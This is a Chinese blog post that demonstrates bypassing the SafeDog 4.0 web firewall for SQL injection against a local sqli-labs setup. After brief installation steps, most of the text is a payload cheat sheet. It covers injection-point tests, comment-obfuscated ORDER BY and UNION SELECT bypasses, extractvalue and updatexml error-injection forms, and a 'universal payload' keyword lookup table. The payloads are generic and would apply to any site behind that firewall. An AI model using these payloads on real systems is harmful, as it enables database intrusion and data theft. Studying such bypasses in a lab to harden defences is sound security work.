最近想着把过waf相关的整理一下,本次主要以安全狗4.0为例进行演示

准备工作

安全狗官网:
http://free.safedog.cn/install_desc_website.html
环境:Windows10+phpstudy+sqli-labs+安全狗v4.0

安装工作

1.下载安全狗

2.查看Apache服务是否存在

在这之前要先查看服务里有没有Apache,一般是用PHPstudy集成环境测试的话,是没有这个服务的,需要自己手动添加一下 ,cd到phpstudy的apache2/bin目录,cmd执行:

httpd.exe -k install -n apache2.4 #apache2.4就是你的服务名,可以自定义

安装之后,看到服务名就出现

3.安装网站安全狗

然后安装安全狗就只需要填写一个服务名(就是你刚刚设置的那个名字)以及选择Apache的版本

如何确定Apache的版本

httpd.exe -v

然后就好了

绕waf sql

1.判断注入点

一般都是先判断是数字型还是字符型(这里我就不过多描述),主要是试试如何绕and 1=1,因为and 1=1和and 1=2 的目的就是为了验证是否存在可能注入点,如果被过滤掉,就用逻辑语句测试(有时候1=1不行可以试-1=-1,-1=-2)

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20and%20-1=%27-1

页面正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20and%20-1=%27-2

页面错误

所以总结,一般大致就这几种

1' and -1='-1
-1'||-1='-1
-1'/*!14400or*/1=1%23

=替换成>、<、like、regexp同样可以绕过

2.order by绕过

1.利用%23%0a绕

1' order%23%0Aby --+

2.内联注释绕过

/*!order /*!/*/**/by*/3-- -
/*!order /*/*%/**/by*/3-- -
/*!order /*!/*/**//**/by*/3-- -
/*!order /*!/*/**//*/**/by*/3-- -
/*!order /*!/*/**/*/by/**/3--+

3.union select绕过

-1'/*!union/*!/*/**/*/select/**/1,2,3 -- -

4.系统函数绕过

单独的括号和函数名都不会检测,思路就是分开函数名和括号就行

5.函数名绕过

在报错注入的时候可以用这个格式绕过

/*!extractvalue/*!/*/**/*/
/*!updatexml/*!/*/**/*/

6.万能的payload

针对两个关键字连用或者函数

/*!union/*!/*/**/*/select/**/
/*!database/*!/*/**/*/()/**/
/*!order/*!/*/**/*/by/**/

针对单独的一个关键字

/*!union/*!/*/**/*/
/*!updatexml/*!/*/**/*/
/*!extractvalue/*!/*/**/*/

快速查询

=        /*!*/=/*!*/
order      /*!order/*!/*/**/*/
and       /*!and/*!/*/**/*/
or         /*!or/*!/*/**/*/
union       /*!union/*!/*/**/*/
select        /*!select/*!/*/**/*/
user()        /*!user/*!/*/**/*/()/**/
database()     /*!database/*!/*/**/*/()/**/
version()      /*!version/*!/*/**/*/()/**/
session_user()  /*!session_user/*!/*/**/*/()/**/
extractvalue     /*!extractvalue/*!/*/**/*/()/**/
updatexml    /*!updatexml/*!/*/**/*/

参考链接

https://xz.aliyun.com/t/7449

windows下过安全狗的更多相关文章

  1. iis7下iis安全狗不能用怎么办(安装iis6兼容性)

    is7下iis安全狗不能用怎么办 | 浏览:126 | 更新:2015-05-14 17:11 1 2 3 4 5 6 分步阅读 windows系统iis安全狗是常用的一款软件,针对网站使用很方便.在 ...

  2. Windows下安装Django及WEB服务启动

           如果使用的是 Linux 或 Mac OS X ,系统可能已经预装了 Python .在命令提示符下 (或 OS X 的终端中) 输入python ,如果出现python编辑环境,说明 ...

  3. Windows下安装Django【转】

      Windows下安装Django及WEB服务启动 如果使用的是 Linux 或 Mac OS X ,系统可能已经预装了 Python .在命令提示符下 (或 OS X 的终端中) 输入python ...

  4. windows下基于IIS配置ssl证书遇到的坑

    前几天配置windows下基于IIS配置ssl证书 完全按照步骤执行 绑定https网址后,一直显示:无法访问此网站 检查了443端口,还有防火墙限制,没发现什么 足足困扰了我好几天 后来突然想到前不 ...

  5. 在windows下安装gulp —— 基于 Gulp 的前端集成解决方案(一)

    相关连接导航 在windows下安装gulp —— 基于 Gulp 的前端集成解决方案(一) 执行 $Gulp 时发生了什么 —— 基于 Gulp 的前端集成解决方案(二) 常用 Gulp 插件汇总 ...

  6. 让 windows 下的命令行程序 cmd.exe 用起来更顺手

    在 Windows 下使用 Larave 框架做开发,从 Composer 到 artisan 总是避免不了和 cmd.exe 打交道,系统默认的命令行界面却是不怎么好看,且每行显示的字符数是做了限制 ...

  7. Windows下Visual studio 2013 编译 Audacity

    编译的Audacity版本为2.1.2,由于实在windows下编译,其源代码可以从Github上取得 git clone https://github.com/audacity/audacity. ...

  8. Windows下Nginx配置SSL实现Https访问(包含证书生成)

    Vincent.李   Windows下Nginx配置SSL实现Https访问(包含证书生成) Windows下Nginx配置SSL实现Https访问(包含证书生成) 首先要说明为什么要实现https ...

  9. 关于Linux和Windows下部署mysql.data.dll的注册问题

    mysql ado.net connector下载地址: http://dev.mysql.com/downloads/connector/net/ 选择版本: Generally Available ...

随机推荐

  1. 第44篇-为native方法设置解释执行入口

    对于Java中的native方法来说,实际上调用的是C/C++实现的本地函数,由于可能会在Java解释执行过程中调用native方法,或在本地函数的实现过程中调用Java方法,所以当两者相互调用时,必 ...

  2. 转:Java IO

    转自:http://www.cnblogs.com/rollenholt/archive/2011/09/11/2173787.html [案例1]创建一个新文件 ? 1 2 3 4 5 6 7 8 ...

  3. Java 常用类库一,main方法传参String[] args;获取输入Scanner ;hasNext();hasNextInt()

    1. main方法传参 package com.zmd.common_class_libraries; /** 给mian方法传参测试 */ public class MainArgsTest { p ...

  4. 云主机tracert外网无返回需在安全组入方向加ICMP Time Exceeded TTLexpired in transit

  5. 使用容器挂载NFS

    https://kubernetes.io/docs/concepts/storage/persistent-volumes/#persistent-volumes nfs 标准协议 v2 v3 v4 ...

  6. React Color使用

    需求 - 要在react项目中实现颜色获取器功能 解决方案 - 使用react-color 依赖 - git地址:https://github.com/casesandberg/react-color ...

  7. Centos7查看防火墙对应的开放端口以及进行端口操作

    1.查看开放端口列表 [root@host bin]# firewall-cmd --list-ports 22/tcp 80/tcp 8888/tcp 39000-40000/tcp 12888/t ...

  8. 【LeetCode】131. Palindrome Partitioning 解题报告(Python & C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 回溯法 日期 题目地址:https://leetco ...

  9. Pydantic使用

    Pydantic可以在代码运行时提供类型提示, 数据校验失败时提供友好的错误提示, 使用Python的类型注解来进行数据校验和settings管理 一般使用 from datetime import ...

  10. java-热部署

    IDEA热部署方式: spring-boot-devtools JRebel插件 spring-boot-devtools为应用提供一些开发时特性,包括默认值设置,自动重启,livereload等. ...